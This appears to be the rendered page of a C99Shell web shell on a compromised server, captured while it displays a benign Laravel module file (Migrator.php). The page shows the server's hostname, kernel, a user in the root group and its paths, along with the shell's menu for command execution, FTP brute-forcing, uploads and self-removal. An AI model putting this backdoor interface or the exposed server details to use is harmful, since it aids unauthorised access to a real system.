!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/nwidart/laravel-modules/src/Migrations/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Migrator.php (6.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Nwidart\Modules\Migrations;

use 
Illuminate\Contracts\Foundation\Application;
use 
Illuminate\Support\Collection;
use 
Illuminate\Support\Str;
use 
Nwidart\Modules\Module;
use 
Nwidart\Modules\Support\Config\GenerateConfigReader;

class 
Migrator
{
    
/**
     * Module instance.
     * @var Module
     */
    
protected $module;

    
/**
     * Laravel Application instance.
     *
     * @var Application.
     */
    
protected $laravel;

    
/**
     * The database connection to be used
     *
     * @var string
     */
    
protected $database '';

    
/**
     * Create new instance.
     * @param Module $module
     * @param Application $application
     */
    
public function __construct(Module $moduleApplication $application)
    {
        
$this->module $module;
        
$this->laravel $application;
    }

    
/**
     * Set the database connection to be used
     *
     * @param $database
     *
     * @return $this
     */
    
public function setDatabase($database)
    {
        if (
is_string($database) && $database) {
            
$this->database $database;
        }

        return 
$this;
    }

    
/**
     * @return Module
     */
    
public function getModule()
    {
        return 
$this->module;
    }

    
/**
     * Get migration path.
     *
     * @return string
     */
    
public function getPath()
    {
        
$config $this->module->get('migration');

        
$migrationPath GenerateConfigReader::read('migration');
        
$path = (is_array($config) && array_key_exists('path'$config)) ? $config['path'] : $migrationPath->getPath();

        return 
$this->module->getExtraPath($path);
    }

    
/**
     * Get migration files.
     *
     * @param boolean $reverse
     * @return array
     */
    
public function getMigrations($reverse false)
    {
        
$files $this->laravel['files']->glob($this->getPath() . '/*_*.php');

        
// Once we have the array of files in the directory we will just remove the
        // extension and take the basename of the file which is all we need when
        // finding the migrations that haven't been run against the databases.
        
if ($files === false) {
            return [];
        }

        
$files array_map(function ($file) {
            return 
str_replace('.php'''basename($file));
        }, 
$files);

        
// Once we have all of the formatted file names we will sort them and since
        // they all start with a timestamp this should give us the migrations in
        // the order they were actually created by the application developers.
        
sort($files);

        if (
$reverse) {
            return 
array_reverse($files);
        }

        return 
$files;
    }

    
/**
     * Rollback migration.
     *
     * @return array
     */
    
public function rollback()
    {
        
$migrations $this->getLast($this->getMigrations(true));

        
$this->requireFiles($migrations->toArray());

        
$migrated = [];

        foreach (
$migrations as $migration) {
            
$data $this->find($migration);

            if (
$data->count()) {
                
$migrated[] = $migration;

                
$this->down($migration);

                
$data->delete();
            }
        }

        return 
$migrated;
    }

    
/**
     * Reset migration.
     *
     * @return array
     */
    
public function reset()
    {
        
$migrations $this->getMigrations(true);

        
$this->requireFiles($migrations);

        
$migrated = [];

        foreach (
$migrations as $migration) {
            
$data $this->find($migration);

            if (
$data->count()) {
                
$migrated[] = $migration;

                
$this->down($migration);

                
$data->delete();
            }
        }

        return 
$migrated;
    }

    
/**
     * Run down schema from the given migration name.
     *
     * @param string $migration
     */
    
public function down($migration)
    {
        
$this->resolve($migration)->down();
    }

    
/**
     * Run up schema from the given migration name.
     *
     * @param string $migration
     */
    
public function up($migration)
    {
        
$this->resolve($migration)->up();
    }

    
/**
     * Resolve a migration instance from a file.
     *
     * @param string $file
     *
     * @return object
     */
    
public function resolve($file)
    {
        
$name implode('_'array_slice(explode('_'$file), 4));

        
$class Str::studly($name);

        if (!
class_exists($class) && file_exists($this->getPath() . '/' $file '.php') ) {
            return include 
$this->getPath() . '/' $file '.php';
        }

        return new 
$class();
    }

    
/**
     * Require in all the migration files in a given path.
     *
     * @param array  $files
     */
    
public function requireFiles(array $files)
    {
        
$path $this->getPath();
        foreach (
$files as $file) {
            
$this->laravel['files']->requireOnce($path '/' $file '.php');
        }
    }

    
/**
     * Get table instance.
     *
     * @return \Illuminate\Database\Query\Builder
     */
    
public function table()
    {
        return 
$this->laravel['db']->connection($this->database ?: null)->table(config('database.migrations'));
    }

    
/**
     * Find migration data from database by given migration name.
     *
     * @param string $migration
     *
     * @return object
     */
    
public function find($migration)
    {
        return 
$this->table()->whereMigration($migration);
    }

    
/**
     * Save new migration to database.
     *
     * @param string $migration
     *
     * @return mixed
     */
    
public function log($migration)
    {
        return 
$this->table()->insert([
            
'migration' => $migration,
            
'batch' => $this->getNextBatchNumber(),
        ]);
    }

    
/**
     * Get the next migration batch number.
     *
     * @return int
     */
    
public function getNextBatchNumber()
    {
        return 
$this->getLastBatchNumber() + 1;
    }

    
/**
     * Get the last migration batch number.
     *
     * @param array|null $migrations
     * @return int
     */
    
public function getLastBatchNumber($migrations null)
    {
        
$table $this->table();

        if (
is_array($migrations)) {
            
$table $table->whereIn('migration'$migrations);
        }

        return 
$table->max('batch');
    }

    
/**
     * Get the last migration batch.
     *
     * @param array $migrations
     *
     * @return Collection
     */
    
public function getLast($migrations)
    {
        
$query $this->table()
            ->
where('batch'$this->getLastBatchNumber($migrations))
            ->
whereIn('migration'$migrations);

        
$result $query->orderBy('migration''desc')->get();

        return 
collect($result)->map(function ($item) {
            return (array) 
$item;
        })->
pluck('migration');
    }

    
/**
     * Get the ran migrations.
     *
     * @return Collection
     */
    
public function getRan()
    {
        return 
$this->table()->pluck('migration');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--